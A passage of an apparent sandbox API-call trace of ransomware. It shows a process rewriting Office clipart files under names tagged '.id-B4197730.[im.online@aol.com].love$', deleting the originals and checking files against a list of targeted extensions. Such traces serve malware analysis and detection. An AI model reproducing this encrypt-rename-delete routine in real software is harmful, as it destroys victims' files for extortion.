Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.080] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.080] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0233.082] GetLastError () returned 0x0 [0233.082] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x2244, lpOverlapped=0x0) returned 1 [0233.088] WriteFile (in: hFile=0x4c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x2250, lpOverlapped=0x0) returned 1 [0233.089] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.090] WriteFile (in: hFile=0x4c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.090] SetEndOfFile (hFile=0x4c0) returned 1 [0233.090] CloseHandle (hObject=0x4c0) returned 1 [0233.090] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.090] SetEndOfFile (hFile=0x4bc) returned 1 [0233.848] CloseHandle (hObject=0x4bc) returned 1 [0233.848] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0233.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.850] lstrlenW (lpString=".doc") returned 4 [0233.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.850] lstrlenW (lpString=".docx") returned 5 [0233.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.850] lstrlenW (lpString=".pdf") returned 4 [0233.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.850] lstrlenW (lpString=".xls") returned 4 [0233.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.850] lstrlenW (lpString=".xlsx") returned 5 [0233.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.850] lstrlenW (lpString=".ppt") returned 4 [0233.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.850] lstrlenW (lpString=".zip") returned 4 [0233.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.850] lstrlenW (lpString=".rar") returned 4 [0233.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.850] lstrlenW (lpString=".bz2") returned 4 [0233.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.850] lstrlenW (lpString=".7z") returned 3 [0233.851] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.851] lstrlenW (lpString=".dbf") returned 4 [0233.851] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.851] lstrlenW (lpString=".1cd") returned 4 [0233.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.851] lstrlenW (lpString=".jpg") returned 4 [0233.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.851] lstrlenW (lpString=".doc") returned 4 [0233.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.851] lstrlenW (lpString=".docx") returned 5 [0233.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.851] lstrlenW (lpString=".pdf") returned 4 [0233.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.851] lstrlenW (lpString=".xls") returned 4 [0233.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.851] lstrlenW (lpString=".xlsx") returned 5 [0233.851] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.851] lstrlenW (lpString=".ppt") returned 4 [0233.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.851] lstrlenW (lpString=".zip") returned 4 [0233.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.852] lstrlenW (lpString=".rar") returned 4 [0233.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.852] lstrlenW (lpString=".bz2") returned 4 [0233.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.852] lstrlenW (lpString=".7z") returned 3 [0233.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.852] lstrlenW (lpString=".dbf") returned 4 [0233.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.852] lstrlenW (lpString=".1cd") returned 4 [0233.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 68 [0233.852] lstrlenW (lpString=".jpg") returned 4 [0233.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.852] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.852] lstrlenW (lpString="BL00130_.WMF") returned 12 [0233.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.863] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1464) returned 1 [0233.864] CloseHandle (hObject=0x4bc) returned 1 [0233.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x220 [0233.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.865] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.865] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0233.866] GetLastError () returned 0x0 [0233.866] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x5b8, lpOverlapped=0x0) returned 1 [0233.868] WriteFile (in: hFile=0x4c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x5c0, lpOverlapped=0x0) returned 1 [0233.869] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.869] WriteFile (in: hFile=0x4c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.869] SetEndOfFile (hFile=0x4c0) returned 1 [0233.870] CloseHandle (hObject=0x4c0) returned 1 [0233.870] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.870] SetEndOfFile (hFile=0x4bc) returned 1 [0233.874] CloseHandle (hObject=0x4bc) returned 1 [0233.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0233.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.875] lstrlenW (lpString=".doc") returned 4 [0233.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.875] lstrlenW (lpString=".docx") returned 5 [0233.875] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.875] lstrlenW (lpString=".pdf") returned 4 [0233.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.875] lstrlenW (lpString=".xls") returned 4 [0233.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.875] lstrlenW (lpString=".xlsx") returned 5 [0233.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.875] lstrlenW (lpString=".ppt") returned 4 [0233.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.875] lstrlenW (lpString=".zip") returned 4 [0233.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.876] lstrlenW (lpString=".rar") returned 4 [0233.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".bz2") returned 4 [0233.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".7z") returned 3 [0233.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.876] lstrlenW (lpString=".dbf") returned 4 [0233.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.876] lstrlenW (lpString=".1cd") returned 4 [0233.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.876] lstrlenW (lpString=".jpg") returned 4 [0233.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.876] lstrlenW (lpString=".doc") returned 4 [0233.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".docx") returned 5 [0233.876] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0233.876] lstrlenW (lpString=".pdf") returned 4 [0233.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0233.876] lstrlenW (lpString=".xls") returned 4 [0233.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0233.876] lstrlenW (lpString=".xlsx") returned 5 [0233.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0233.877] lstrlenW (lpString=".ppt") returned 4 [0233.877] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.877] lstrlenW (lpString=".zip") returned 4 [0233.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0233.877] lstrlenW (lpString=".rar") returned 4 [0233.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString=".bz2") returned 4 [0233.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString=".7z") returned 3 [0233.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.877] lstrlenW (lpString=".dbf") returned 4 [0233.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.877] lstrlenW (lpString=".1cd") returned 4 [0233.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0233.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 68 [0233.877] lstrlenW (lpString=".jpg") returned 4 [0233.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0233.877] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0233.877] lstrlenW (lpString="BL00148_.WMF") returned 12 [0233.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.879] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1696) returned 1 [0233.879] CloseHandle (hObject=0x4bc) returned 1 [0233.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0233.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0233.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0233.880] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.880] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.880] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0233.881] GetLastError () returned 0x0 [0233.881] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x6a0, lpOverlapped=0x0) returned 1 [0233.883] WriteFile (in: hFile=0x4c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x6b0, lpOverlapped=0x0) returned 1 [0233.884] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0233.885] WriteFile (in: hFile=0x4c0, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0233.885] SetEndOfFile (hFile=0x4c0) returned 1 [0233.885] CloseHandle (hObject=0x4c0) returned 1 [0233.885] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0233.885] SetEndOfFile (hFile=0x4bc) returned 1 [0233.891] CloseHandle (hObject=0x4bc) returned 1 [0233.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0233.892] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0234.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.226] lstrlenW (lpString=".doc") returned 4 [0234.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.226] lstrlenW (lpString=".docx") returned 5 [0234.226] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.226] lstrlenW (lpString=".pdf") returned 4 [0234.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.226] lstrlenW (lpString=".xls") returned 4 [0234.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.226] lstrlenW (lpString=".xlsx") returned 5 [0234.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.226] lstrlenW (lpString=".ppt") returned 4 [0234.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.226] lstrlenW (lpString=".zip") returned 4 [0234.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.226] lstrlenW (lpString=".rar") returned 4 [0234.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString=".bz2") returned 4 [0234.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString=".7z") returned 3 [0234.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.227] lstrlenW (lpString=".dbf") returned 4 [0234.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.227] lstrlenW (lpString=".1cd") returned 4 [0234.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.227] lstrlenW (lpString=".jpg") returned 4 [0234.227] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.227] lstrlenW (lpString=".doc") returned 4 [0234.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString=".docx") returned 5 [0234.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.227] lstrlenW (lpString=".pdf") returned 4 [0234.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.227] lstrlenW (lpString=".xls") returned 4 [0234.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.227] lstrlenW (lpString=".xlsx") returned 5 [0234.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.227] lstrlenW (lpString=".ppt") returned 4 [0234.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.228] lstrlenW (lpString=".zip") returned 4 [0234.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.228] lstrlenW (lpString=".rar") returned 4 [0234.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.228] lstrlenW (lpString=".bz2") returned 4 [0234.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.228] lstrlenW (lpString=".7z") returned 3 [0234.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.228] lstrlenW (lpString=".dbf") returned 4 [0234.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.228] lstrlenW (lpString=".1cd") returned 4 [0234.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0234.228] lstrlenW (lpString=".jpg") returned 4 [0234.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.228] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.228] lstrlenW (lpString="BL00248_.WMF") returned 12 [0234.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0234.229] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1536) returned 1 [0234.229] CloseHandle (hObject=0x4bc) returned 1 [0234.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x220 [0234.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf"), 